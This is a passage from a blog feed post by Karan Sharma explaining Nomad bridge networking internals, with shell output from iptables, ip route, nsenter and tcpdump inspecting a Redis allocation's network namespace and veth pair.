<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> HostNetwork:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">default</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> Label:</span><span style="color: light-dark(#032F62, #96D0FF);">       &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> To:</span><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">6379</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    Task:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Now we don’t see the ports forwarded on the host network:</p>
<p><img src="https://mrkaran.dev/images/bridge-network-in-nomad-2.png" alt="" /></p>
<p>Similarly, <code>ss</code> also shows no process listening on the host network</p>
<p><img src="https://mrkaran.dev/images/bridge-network-in-nomad-3.png" alt="" /></p>
<h2 id="iptables-and-routing"><strong>IPTables and Routing</strong><a class="zola-anchor" href="#iptables-and-routing" aria-label="Anchor link for: iptables-and-routing">#</a></h2>
<p>To understand what happened when we switched the networking mode to <code>bridge</code>, we need to take a look at the Nomad <code>iptables</code> magic which comes into play when using <code>bridge</code> network.</p>
<p>I pulled up the <code>iptables</code> and saw specific rules under the chains <code>CNI-FORWARD</code> and <code>NOMAD-ADMIN</code>. These rules, in essence, allow all traffic to and from the allocation’s network namespace.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> iptables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">L</span><span style="color: light-dark(#032F62, #96D0FF);"> CNI-FORWARD</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Chain</span><span style="color: light-dark(#032F62, #96D0FF);"> CNI-FORWARD</span><span> (1</span><span style="color: light-dark(#032F62, #96D0FF);"> references</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">target</span><span style="color: light-dark(#032F62, #96D0FF);">     prot</span><span style="color: light-dark(#032F62, #96D0FF);"> opt</span><span style="color: light-dark(#032F62, #96D0FF);"> source</span><span style="color: light-dark(#032F62, #96D0FF);">               destination</span><span>         </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">NOMAD-ADMIN</span><span style="color: light-dark(#032F62, #96D0FF);">  all</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">  anywhere</span><span style="color: light-dark(#032F62, #96D0FF);">             anywhere</span><span style="color: light-dark(#032F62, #96D0FF);">             /</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);"> CNI</span><span style="color: light-dark(#032F62, #96D0FF);"> firewall</span><span style="color: light-dark(#032F62, #96D0FF);"> plugin</span><span style="color: light-dark(#032F62, #96D0FF);"> admin</span><span style="color: light-dark(#032F62, #96D0FF);"> overrides</span><span style="color: light-dark(#005CC5, #6CB6FF);"> *</span><span style="color: light-dark(#032F62, #96D0FF);">/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ACCEPT</span><span style="color: light-dark(#032F62, #96D0FF);">     all</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">  anywhere</span><span style="color: light-dark(#005CC5, #6CB6FF);">             172.26.64.5</span><span style="color: light-dark(#032F62, #96D0FF);">          ctstate</span><span style="color: light-dark(#032F62, #96D0FF);"> RELATED,ESTABLISHED</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ACCEPT</span><span style="color: light-dark(#032F62, #96D0FF);">     all</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">  172.26.64.5</span><span style="color: light-dark(#032F62, #96D0FF);">          anywhere</span><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ACCEPT</span><span style="color: light-dark(#032F62, #96D0FF);">     all</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">  anywhere</span><span style="color: light-dark(#005CC5, #6CB6FF);">             172.26.64.6</span><span style="color: light-dark(#032F62, #96D0FF);">          ctstate</span><span style="color: light-dark(#032F62, #96D0FF);"> RELATED,ESTABLISHED</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ACCEPT</span><span style="color: light-dark(#032F62, #96D0FF);">     all</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">  172.26.64.6</span><span style="color: light-dark(#032F62, #96D0FF);">          anywhere</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> iptables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">L</span><span style="color: light-dark(#032F62, #96D0FF);"> NOMAD-ADMIN</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Chain</span><span style="color: light-dark(#032F62, #96D0FF);"> NOMAD-ADMIN</span><span> (1</span><span style="color: light-dark(#032F62, #96D0FF);"> references</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">target</span><span style="color: light-dark(#032F62, #96D0FF);">     prot</span><span style="color: light-dark(#032F62, #96D0FF);"> opt</span><span style="color: light-dark(#032F62, #96D0FF);"> source</span><span style="color: light-dark(#032F62, #96D0FF);">               destination</span><span>         </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ACCEPT</span><span style="color: light-dark(#032F62, #96D0FF);">     all</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">  anywhere</span><span style="color: light-dark(#032F62, #96D0FF);">             172.26.64.0/20</span></span></code></pre>
<p>Nomad uses <code>172.26.64.0/20</code> as the <a rel="external" href="https://developer.hashicorp.com/nomad/docs/configuration/client#bridge_network_subnet">default subnet</a> for the bridge network. The IPs <code>172.26.64.5</code> and <code>172.26.64.6</code> are assigned to 2 different allocs in this CIDR. The <code>iptables</code> rules allow complete traffic to flow on this subnet.</p>
<p>To check the routing,<code>ip route</code> command can be used.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> route</span><span style="color: light-dark(#032F62, #96D0FF);"> show</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.0/20</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">172.26.64.0/20</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> proto</span><span style="color: light-dark(#032F62, #96D0FF);"> kernel</span><span style="color: light-dark(#032F62, #96D0FF);"> scope</span><span style="color: light-dark(#032F62, #96D0FF);"> link</span><span style="color: light-dark(#032F62, #96D0FF);"> src</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1</span></span></code></pre>
<p>It uses the <code>nomad</code> network interface for routing packets related to the default bridge network.</p>
<p>Using <code>nsenter</code> we can find more details about the network namespace created for an alloc. Let’s find details about the <code>redis</code> alloc:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> nsenter</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span> $(</span><span style="color: light-dark(#6F42C1, #F69D50);">pgrep</span><span style="color: light-dark(#032F62, #96D0FF);"> redis</span><span>)</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-net</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> addr</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">1:</span><span style="color: light-dark(#032F62, #96D0FF);"> lo:</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">LOOPBACK,UP,LOWER_U</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> mtu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 65536</span><span style="color: light-dark(#032F62, #96D0FF);"> qdisc</span><span style="color: light-dark(#032F62, #96D0FF);"> noqueue</span><span style="color: light-dark(#032F62, #96D0FF);"> state</span><span style="color: light-dark(#032F62, #96D0FF);"> UNKNOWN</span><span style="color: light-dark(#032F62, #96D0FF);"> group</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span><span style="color: light-dark(#032F62, #96D0FF);"> qlen</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1000</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    link/loopback</span><span style="color: light-dark(#032F62, #96D0FF);"> 00:00:00:00:00:00</span><span style="color: light-dark(#032F62, #96D0FF);"> brd</span><span style="color: light-dark(#032F62, #96D0FF);"> 00:00:00:00:00:00</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    inet</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.1/8</span><span style="color: light-dark(#032F62, #96D0FF);"> scope</span><span style="color: light-dark(#032F62, #96D0FF);"> host</span><span style="color: light-dark(#032F62, #96D0FF);"> lo</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">       valid_lft</span><span style="color: light-dark(#032F62, #96D0FF);"> forever</span><span style="color: light-dark(#032F62, #96D0FF);"> preferred_lft</span><span style="color: light-dark(#032F62, #96D0FF);"> forever</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">2:</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0@if113:</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">BROADCAST,MULTICAST,UP,LOWER_U</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> mtu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1500</span><span style="color: light-dark(#032F62, #96D0FF);"> qdisc</span><span style="color: light-dark(#032F62, #96D0FF);"> noqueue</span><span style="color: light-dark(#032F62, #96D0FF);"> state</span><span style="color: light-dark(#032F62, #96D0FF);"> UP</span><span style="color: light-dark(#032F62, #96D0FF);"> group</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    link/ether</span><span style="color: light-dark(#032F62, #96D0FF);"> 76:47:6d:49:00:c0</span><span style="color: light-dark(#032F62, #96D0FF);"> brd</span><span style="color: light-dark(#032F62, #96D0FF);"> ff:ff:ff:ff:ff:ff</span><span style="color: light-dark(#032F62, #96D0FF);"> link-netnsid</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    inet</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.5/20</span><span style="color: light-dark(#032F62, #96D0FF);"> brd</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.79.255</span><span style="color: light-dark(#032F62, #96D0FF);"> scope</span><span style="color: light-dark(#032F62, #96D0FF);"> global</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">       valid_lft</span><span style="color: light-dark(#032F62, #96D0FF);"> forever</span><span style="color: light-dark(#032F62, #96D0FF);"> preferred_lft</span><span style="color: light-dark(#032F62, #96D0FF);"> forever</span></span>
<span class="giallo-l"></span></code></pre>
<p>We can see that one end of the pair is <code>eth0</code> (container’s default gateway) which is connected to a network interface with an index <code>113</code>. For the tunnel to actually work, the veth pair should also exist on the host:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">113:</span><span style="color: light-dark(#032F62, #96D0FF);"> veth3402deda@if2:</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">BROADCAST,MULTICAST,UP,LOWER_U</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> mtu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1500</span><span style="color: light-dark(#032F62, #96D0FF);"> qdisc</span><span style="color: light-dark(#032F62, #96D0FF);"> noqueue</span><span style="color: light-dark(#032F62, #96D0FF);"> master</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> state</span><span style="color: light-dark(#032F62, #96D0FF);"> UP</span><span style="color: light-dark(#032F62, #96D0FF);"> group</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    link/ether</span><span style="color: light-dark(#032F62, #96D0FF);"> 3a:85:1b:37:75:17</span><span style="color: light-dark(#032F62, #96D0FF);"> brd</span><span style="color: light-dark(#032F62, #96D0FF);"> ff:ff:ff:ff:ff:ff</span><span style="color: light-dark(#032F62, #96D0FF);"> link-netnsid</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    inet6</span><span style="color: light-dark(#032F62, #96D0FF);"> fe80::3885:1bff:fe37:7517/64</span><span style="color: light-dark(#032F62, #96D0FF);"> scope</span><span style="color: light-dark(#032F62, #96D0FF);"> link</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">       valid_lft</span><span style="color: light-dark(#032F62, #96D0FF);"> forever</span><span style="color: light-dark(#032F62, #96D0FF);"> preferred_lft</span><span style="color: light-dark(#032F62, #96D0FF);"> forever</span></span></code></pre>
<p>So, when we see <code>veth3402deda@if2</code> in the host’s network namespace (with the index <code>113</code>), and then we see <code>eth0@if113</code> inside the Redis container, we can infer that these two interfaces form a <code>veth</code> pair: <code>veth3402deda@if2</code> on the host side and <code>eth0</code> inside the container. This connection enables the container to communicate with the external network through the host’s network stack.</p>
<h2 id="capturing-packets">Capturing packets<a class="zola-anchor" href="#capturing-packets" aria-label="Anchor link for: capturing-packets">#</a></h2>
<p>We can capture TCP packets on the <code>veth</code> interface to see the routing work:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tcpdump</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> veth971858d5</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">n</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcpdump:</span><span style="color: light-dark(#032F62, #96D0FF);"> verbose</span><span style="color: light-dark(#032F62, #96D0FF);"> output</span><span style="color: light-dark(#032F62, #96D0FF);"> suppressed,</span><span style="color: light-dark(#032F62, #96D0FF);"> use</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#005CC5, #6CB6FF);">[</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#005CC5, #6CB6FF);">]</span><span style="color: light-dark(#005CC5, #6CB6FF);">...</span><span style="color: light-dark(#032F62, #96D0FF);"> for</span><span style="color: light-dark(#032F62, #96D0FF);"> full</span><span style="color: light-dark(#032F62, #96D0FF);"> protocol</span><span style="color: light-dark(#032F62, #96D0FF);"> decode</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">listening</span><span style="color: light-dark(#032F62, #96D0FF);"> on</span><span style="color: light-dark(#032F62, #96D0FF);"> veth971858d5,</span><span style="color: light-dark(#032F62, #96D0FF);"> link-type</span><span style="color: light-dark(#032F62, #96D0FF);"> EN10MB</span><span> (Ethernet</span><span>), snapshot length 262144 bytes</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.801319</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [S</span><span>], seq 1331933249, win 65495, options </span><span>[</span><span>mss 65495,sackOK,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300785</span><span> ecr 0,nop,wscale 7</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.801549</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.7000</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.1.35826:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [S.</span><span>], seq 107697826, ack 1331933250, win 65160, options </span><span>[</span><span>mss 1460,sackOK,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">3965422857</span><span> ecr 248300785,nop,wscale 7</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.801616</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 1, win 512, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300785</span><span> ecr 3965422857</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.801737</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [P.</span><span>], seq 1:79, ack 1, win 512, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300786</span><span> ecr 3965422857</span><span>]</span><span>, length 78</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.801751</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.7000</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.1.35826:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 79, win 509, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">3965422858</span><span> ecr 248300786</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.802022</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.7000</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.1.35826:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [P.</span><span>], seq 1:4097, ack 79, win 509, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">3965422858</span><span> ecr 248300786</span><span>]</span><span>, length 4096</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.802059</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 4097, win 491, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300786</span><span> ecr 3965422858</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.802120</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.7000</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.1.35826:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [P.</span><span>], seq 4097:5396, ack 79, win 509, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">3965422858</span><span> ecr 248300786</span><span>]</span><span>, length 1299</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.802135</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 5396, win 502, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300786</span><span> ecr 3965422858</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.803484</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [F.</span><span>], seq 79, ack 5396, win 512, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300787</span><span> ecr 3965422858</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.803567</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.7000</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.1.35826:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [F.</span><span>], seq 5396, ack 80, win 509, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">3965422859</span><span> ecr 248300787</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:51:27.803597</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.1.35826</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.7000:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 5397, win 512, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">248300787</span><span> ecr 3965422859</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:53:08.523431</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.53042</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 95.216.165.210.27372:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 2169295212, win 501, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">735542538</span><span> ecr 4133067854</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:53:08.523551</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 95.216.165.210.27372</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.53042:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 1, win 509, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">4133379150</span><span> ecr 735231242</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:53:08.523554</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 95.216.165.210.27372</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 172.26.64.6.53042:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 1, win 509, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">4133379150</span><span> ecr 735231242</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10:53:08.523562</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.26.64.6.53042</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 95.216.165.210.27372:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [.</span><span>], ack 1, win 501, options </span><span>[</span><span>nop,nop,TS val </span><span style="color: light-dark(#005CC5, #6CB6FF);">735542538</span><span> ecr 4133379150</span><span>]</span><span>, length 0</span></span>
<span class="giallo-l"></span></code></pre>
<p>To summarize the output, we can see that the log is showing a TCP connection between 172.26.64.1 (source) and 172.26.64.6 (destination), specifically on port 7000. <code>172.26.64.1</code> happens to be the gateway for <code>nomad</code> subnet.</p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>Hope this post clarified some networking internals and behind the scenes magic when using Nomad bridge networking. Refer to my other post - <a href="https://mrkaran.dev/posts/nomad-networking-explained/">Nomad networking explained</a> for a practical breakdown of all the different ways to expose and connect applications in a Nomad cluster.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Behind the scenes of organising a community-driven event - part 2]]></title>
